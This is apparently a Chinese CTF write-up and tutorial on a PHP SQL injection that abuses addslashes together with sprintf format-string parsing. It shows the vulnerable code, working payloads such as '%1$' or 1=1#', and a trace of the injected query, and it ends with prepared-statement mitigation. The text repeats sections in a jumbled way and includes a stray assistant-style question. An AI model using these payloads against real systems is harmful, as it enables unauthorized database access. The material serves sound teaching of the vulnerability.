当前位置:首页>php>PHP addslashes + sprintf 格式化字符串注入

PHP addslashes + sprintf 格式化字符串注入

  • 2026-09-26 12:25:25
PHP addslashes + sprintf 格式化字符串注入
<?php
//123%1$'--+

$pass
 = 123%1$'--+
$pass=sprintf("and pass='
%s'",addslashes($_GET['pass']));
123%1$\' or 1=1--+

select * from user where name='
admin' 123%1$\'--+
$sql=sprintf("select * from user where name='
%s' $pass",addslashes($_GET['name']));
//https://8bd4a575-53ef-4521-acdc-f5a0d829c2ea.challenge.ctf.show/?name=admin&pass=123%1$'
--+

//select * from user where name='admin' and pass='123'-- '

?>


sprintf()方法

该方法只在用于格式化字符串

  • • sprintf格式符
符号
说明
%s
字符串
%d
十进制整数
%f
浮点数
%x
小写十六进制
%X
大写十六进制
%%
输出一个%
<?php


$input
 = addslashes ("%1$' or 1=1#" );// 增加   -》 $input = %1$\' or 1=1#
echo
 "step1-addslashes-input: {$input}";
print
("<br />");
$b
 = sprintf ("OR b='%s'", $input ); // 删除\   -》 sprintf 格式化吃掉`\`  $b =》 OR b='%1$\' or 1=1#'
echo
"step2-sprintf-b:$b";
//echo $b;

echo
 '<br/>';
$sql
 = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' ); //=》 SELECT * FROM t WHERE a='admin' OR b='' or 1=1#'
//对$input与$b进行了拼接

//$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );

//很明显,这个句子里面的\是由addsashes为了转义单引号而加上的,使用%s与%1$\类匹配admin,那么admin只会出现在%s里,%1$\为空

//print("step3-sql:$sql");

echo
 "step3-sql: {$sql}";

// 会截断单引号,产生注入


// name=admin, id=1001

/**
*符号    说明
*%s    字符串
*%d    十进制整数
*%f    浮点数
*%x    小写十六进制
*%X    大写十六进制
*%%    输出一个%
* SELECT * FROM t WHERE a='admin' OR b='' or 1=1#'
*/

addslashes方法

  • • 语法
string addslashes ( string $str )

功能:在这4类字符前面添加反斜杠 \ 进行转义

  • •

    PHP addslashes + sprintf 格式化字符串注入

    靶场示例 ctfshow:?name=admin&pass=123%1$'--+

    一、sprintf()

    sprintf只解析第一个format格式字符串中的%标记;传入变量内部的%不会解析。返回格式化后的字符串,不会直接输出。

    sprintf格式符

    符号
    说明
    %s
    字符串
    %d
    十进制整数
    %f
    浮点数
    %x
    小写十六进制
    %X
    大写十六进制
    %%
    输出一个%

    靶场原版代码(ctfshow「给她」)

    <?php
    $pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
    $sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
    // payload:?name=admin&pass=%1$' or 1=1--+
    // 最终SQL:select * from user where name='admin' and pass='' or 1=1-- '
    ?>

    本地调试Demo(区分漏洞触发条件)

    <?php
    $input = addslashes ("%1$' or 1=1#" );
    // step1 addslashes:%1$\' or 1=1#
    echo "step1-addslashes-input: {$input}
    ";

    // 注意:这里$input被拼入sprintf format格式串,不是传给%s变量!
    $b = sprintf ("OR b='%s'", $input );
    echo "step2-sprintf-b:$b
    ";

    $sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
    echo "step3-sql: {$sql}";
    // 输出:SELECT * FROM t WHERE a='admin' OR b='' or 1=1#'
    ?>

    调试提醒:直接echo到浏览器,单引号会被HTML渲染截断;务必**var_dump()**查看PHP内存真实字符串。


    二、addslashes()

    语法

    string addslashes ( string $str )

    功能:在4种预定义字符前添加反斜杠\转义

    原字符
    转义后
    '\'
    "\"
    \\\
    \0\0

    示例:

    $str = "a'b\"c\\";
    echo addslashes($str);
    //输出:a\'b\"c\\

    反向函数 stripslashes(),移除addslashes增加的反斜杠

    $s = addslashes("x'y");
    echo stripslashes($s); // x'y

    重要:addslashes不能用来防御SQL注入

    漏洞完整字符变化流程

    Payload输入:%1$' or 1=1#

    SELECT * FROM t WHERE a='admin' OR b='' or 1=1#'

    漏洞触发必要前提:可控字符串拼入sprintf第一个format参数; 如果可控内容只传入%s占位变量内部,不会触发漏洞,变量内部的%不会被sprintf解析。

    历史背景

    PHP5.4后彻底删除magic_quotes_gpc,不再对GET/POST/COOKIE自动调用addslashes,需要手动调用。

    addslashes vs mysqli_real_escape_string

    函数
    特点
    addslashes()
    PHP层面字符串替换,不感知数据库字符集,存在宽字符、sprintf绕过
    mysqli_real_escape_string()
    基于数据库连接当前字符集转义;依然不如PDO预处理安全

    安全方案:SQL拼接一律使用PDO/mysqli预处理语句,不要依赖转义函数。


    三、做题速记

    需要我给你整理一页考试速记卡片版本吗?

    单引号 '

    1. 1. sprintf只会解析第一个参数format中的%,变量内部百分号不解析。
    2. 2. %1$\只有出现在format格式串才会被丢弃置空;放在%s变量位不会处理。
    3. 3. addslashes增加\,sprintf解析非法格式标记吃掉\,单引号逃逸实现注入。
    4. 4. 浏览器页面输出会被单引号截断,调试必须var_dump(),不要肉眼看网页显示。
    5. 5. 防护:禁止外部可控变量拼接进sprintf format参数,使用预处理。
    1. 1. addslashes()处理:%1$\' or 1=1#,给单引号增加反斜杠
    2. 2. 用户可控字符串拼接到sprintf format格式字符串
    3. 3. sprintf解析format,识别非法格式化标记%1$\,直接丢弃该片段,反斜杠\被吃掉
    4. 4. 剩余字符:' or 1=1#,单引号成功逃逸闭合SQL
    5. 5. 最终SQL:
    1. 1. 宽字符注入绕过:数据库多字节字符集可以吃掉转义反斜杠\
    2. 2. 经典绕过:addslashes + sprintf格式化字符串漏洞
  • • 双引号 "
  • • 反斜杠 \
  • • NULL \0
原字符
转义后
'\'
"\"
\\\
\0\0

示例:

$str = "a'b\"c\\";
echo addslashes($str);
//输出:a\'b\"c\\

反向函数:stripslashes() ,移除 addslashes 添加的反斜杠

$s = addslashes("x'y");
echo stripslashes($s); // x'y

重要:不能用来防SQL注入

  1. 1. 宽字符注入绕过:数据库多字节字符集,可吃掉\
  2. 2. 经典CTF链:addslashes + sprintf 绕过

    用户输入:%1$' or 1=1#① addslashes → %1$\' or 1=1#② 如果该字符串被拼接到 sprintf format格式串sprintf解析到非法标记%1$\,直接丢弃该片段,\被吃掉,剩下 ' or 1=1#单引号逃逸,产生SQL注入:

SELECT * FROM t WHERE a='admin' OR b='' or 1=1#'

前提:可控内容拼入sprintf第一个参数format,不是放在%s变量位。

PHP5.4之后彻底删除 magic_quotes_gpc,以前这个配置会对GET/POST/COOKIE自动执行addslashes;现在不会自动转义,需要手动调用。

最新文章

随机文章